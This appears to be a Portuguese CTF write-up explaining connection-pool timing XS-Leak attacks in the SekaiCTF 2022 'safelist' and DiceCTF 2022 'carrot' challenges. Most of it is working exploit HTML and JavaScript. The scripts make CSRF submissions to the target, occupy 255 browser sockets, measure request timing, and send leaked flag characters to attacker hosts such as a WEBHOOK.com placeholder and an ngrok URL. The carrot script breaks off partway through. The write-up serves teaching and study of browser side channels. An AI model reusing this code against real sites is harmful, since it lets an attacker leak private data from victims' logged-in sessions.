No desafio Sekaictf2022 - safelist, @Strellic_ dá um exemplo de como usar uma variação da técnica de Connection Pool para realizar um XS-Leak.
Neste desafio, o objetivo é exfiltrar uma bandeira que aparecerá na sessão web do bot dentro de um post. Estes são os ativos que o atacante possui:
O bot irá visitar uma URL fornecida pelo atacante
O atacante pode injetar HTML na página (mas sem JS, dompurify é usado) abusando de um CSRF fazendo o bot criar um post com esse HTML.
O atacante pode abusar de um CSRF para fazer o botdeletar o primeiropost dentro da web.
Como os posts são ordenados alfabeticamente, quando o primeiro post é deletado, se o conteúdo HTML do atacante é carregado, significa que estava alfabeticamente antes da bandeira.
Portanto, para roubar a bandeira, a solução proposta por @Strellyc_ é que, para cada caractere a ser testado, o bot deve:
Criar um novo post que começa com a parte conhecida da bandeira e vários imgcarregados.
Deletar o post na posição 0.
Bloquear 255 sockets.
Carregar a página com os posts.
Realizar 5 requisições aleatórias para um site (example.com neste caso) e medir o tempo que isso leva.
Se o post deletado era a bandeira, isso significa que todas as imagensinjetadas no HTML estarão competindo com as 5 requisições aleatórias por aquele socket desbloqueado. O que significa que o tempo medido será maior do que no outro cenário.
Se o post deletado era o HTML, as 5 requisições aleatórias serão mais rápidas porque não precisam competir por aquele socket com o HTML injetado.
<!-- Form to inject HTML code in the bots page --><formmethod="POST"action="https://safelist.ctf.sekai.team/create"id="create"target="_blank"><inputtype="text"name="text" /><inputtype="submit" /></form><!-- Form to delete the first entry --><formmethod="POST"action="https://safelist.ctf.sekai.team/remove"id="remove"target="_blank"><inputtype="text"name="index"value="0" /><inputtype="submit" /></form><script>// Attacker listeningconstWEBHOOK="https://WEBHOOK.com/";// Send data to attackerconstlog= (id, data) => {let payload =JSON.stringify({ known, alphabet, data });console.log(id, payload);navigator.sendBeacon(WEBHOOK+"?"+ id, payload);}// Similar to JQueryconst$=document.querySelector.bind(document);// Known part of the flagconstknown="SEKAI{";let alphabet ="_abcdefghijklmnopqrstuvwxyz}";// Reduce the alphabet using a hash (#) in the URLif (location.hash) {alphabet =alphabet.slice(alphabet.indexOf(location.hash.slice(1)));}// Funtion to leak charsconstleak=async (c) => {// Prepare post with known flag and the new charlet payload =`${known + c}`;// Inject as many <img as possible// you need to respect the CSP and create URLs that are differentfor(let i =0; payload.length<2048; i++) {payload +=`<img src=js/purify.js?${i.toString(36)}>`;}// Inject HTML$("#create input[type=text]").value = payload;$("#create").submit();awaitnewPromise(r =>setTimeout(r,1000));// Remove post with index 0$("#remove").submit();awaitnewPromise(r =>setTimeout(r,500));let deltas = [];// Try each char 3 timesfor (let i =0; i <3; i++) {constSOCKET_LIMIT=255;// you will need a custom server that works like num.sleepserver.com/sleep/delay// needed to freeze the blocked sockets, and they have to all be on different origins// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcardconstSLEEP_SERVER= i =>`http://${i}.sleepserver.com/sleep/60`;constblock=async (i, controller) => {try {returnfetch(SLEEP_SERVER(i), { mode:"no-cors", signal:controller.signal });}catch(err) {}};// block SOCKET_LIMIT socketsconstcontroller=newAbortController();for (let i =0; i <SOCKET_LIMIT; i++) {block(i, controller);}// Make the bot access the page with the postswindow.open("https://safelist.ctf.sekai.team/?"+Math.random().toString(36).slice(2),"pwn");awaitnewPromise(r =>setTimeout(r,500));// start meassuring time to perform 5 requestslet start =performance.now();awaitPromise.all([fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" })]);let delta =performance.now() - start;document.title = delta;controller.abort();log("test_"+ c +"_"+ i, delta);// Save time neededdeltas.push(delta);}return deltas;};// Check each charconstpwn=async () => {// Try to leak each characterfor(let i =0; i <alphabet.length; i++) {//Check the indicated charlet deltas =awaitleak(alphabet[i]);// Calculate mean time from requests to example.comlet avg =deltas.reduce((a,v) => a+v,0) /deltas.length;// If greater than 250, the HTML code was injected (flag in index 0)if (avg >250) {log("tests_pos_"+ alphabet[i], deltas)}// Flag in the pageelse {log("tests_neg_"+ alphabet[i], deltas)}}};window.onload=async () => {pwn();};</script>
<!DOCTYPEhtml><html><!--The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.We can use fetch to measure the request time.--><body><buttononclick="run()">start</button><formid=faction="http://localhost:1234/create"method="POST"target="_blank"><inputid=inpname="text"value=""></form><formid=f2action="http://localhost:1234/remove"method="POST"target="_blank"><inputid=inp2name="index"value=""></form><script>let flag ='SEKAI{'constTARGET='https://safelist.ctf.sekai.team'f.action =TARGET+'/create'f2.action =TARGET+'/remove'constsleep= ms =>newPromise(r =>setTimeout(r, ms))constsend= data =>fetch('http://server.ngrok.io?d='+data)constcharset='abcdefghijklmnopqrstuvwxyz'.split('')// start exploitlet count =0setTimeout(async () => {letL=0letR=charset.length-1while( (R-L)>3 ) {letM=Math.floor((L+R) /2)let c = charset[M]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {L=M} else {R=M-1}}// fallback to linear since I am not familiar with binary search lolfor(let i=R; i>=L; i--) {let c = charset[i]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {send('found: '+ flag+c)flag += cbreak}}},0)asyncfunctiontestChar(str) {returnnewPromise(resolve => {/*For 3350, you need to test it on your local to get this number.The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.*/inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()setTimeout(() => {run(str, resolve)},500)})}asyncfunctionrun(str, resolve) {// if the request is not enough, we can send more by opening more windowfor(let i=1; i<=5;i++) {window.open(TARGET)}let t =0constround=30setTimeout(async () => {for(let i=0; i<round; i++) {let s =performance.now()awaitfetch(TARGET+'/?test', {mode:'no-cors'}).catch(err=>1)let end =performance.now()t += end - sconsole.log(end - s)}constavg= t/roundsend(str +","+ t +","+"avg:"+ avg)/*I get this threshold(1000ms) by trying multiple times on remote admin botfor example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold*/constisFound= (t >=1000)if (isFound) {inp2.value ="0"} else {inp2.value ="1"}// remember to delete the post to not break our leak oraclef2.submit()setTimeout(() => {resolve(isFound)},200)},200)}</script></body></html>
DiceCTF 2022 - carrot
Neste caso, o primeiro passo do exploit foi abusar de um CSRF para modificar a página onde a flag está contida, de modo que tenha muito mais conteúdo (e, portanto, carregá-la leva mais tempo), e então abusar do pool de conexões para medir o tempo que leva para acessar a página que poderia potencialmente ter a flag.
No exploit, você pode ver:
Abusar do CSRF
Ocupando todos os sockets, exceto 1
Calibrar a resposta
Começar a força bruta acessando a página potencial com a flag
A página potencial será acessada e imediatamente uma URL controlada pelo atacante também será acessada para verificar quanto tempo ambas as requisições levam.
<h1>DiceCTF 2022 web/carrot</h1><p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<buttononclick="csrf()">do csrf</button><p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
<buttononclick="popunder()">open popup</button><buttononclick="exhaust_sockets()">open 255 connections</button><buttononclick="oracle('dice{abc')">test search "abc" (slow)</button><buttononclick="oracle('dice{xxx')">test search "xxx" (fast)</button><br><br><h2id=output></h2><br><formid=xaction=""method="POST"style="display:none;"><inputtype="text"name="title"placeholder="title"><br><br><inputtype="number"name="priority"placeholder="priority"value=9999><br><br><textareaname="content"placeholder="content"rows="5"cols="20"></textarea><br><br><inputtype="submit"value="submit"></form><script>// this is send is used as loggingLOG='Starting'// 255 in normal chrome, 99 in headlessSOCKETLIMIT=255;// defaultTIMELIMIT=800;INSTANCE=''MYSERVER=`example.com`constsleep= (ms) => {returnnewPromise(resolve => {setTimeout(resolve, ms);});}consttime_fetch=async() => {let test_server_url =`https://${MYSERVER}/?${LOG}`;let start =window.performance.now();try {awaitfetch(test_server_url, {mode:'no-cors'});} catch (e) {console.log(e);}let end =window.performance.now();return end - start;}constfetch_sleep_long= (i) => {// 40s sleepreturnfetch(`https://${i}.${MYSERVER}/40sleep`, {mode:'no-cors'});}constfetch_sleep_short= (i) => {// 0.25s sleepreturnfetch(`https://${i}.${MYSERVER}/ssleep`, {mode:'no-cors'});}constblock_socket=async (i) => {fetch_sleep_long(i);// needed?awaitsleep(0);}constexhaust_sockets=async() => {let i =0for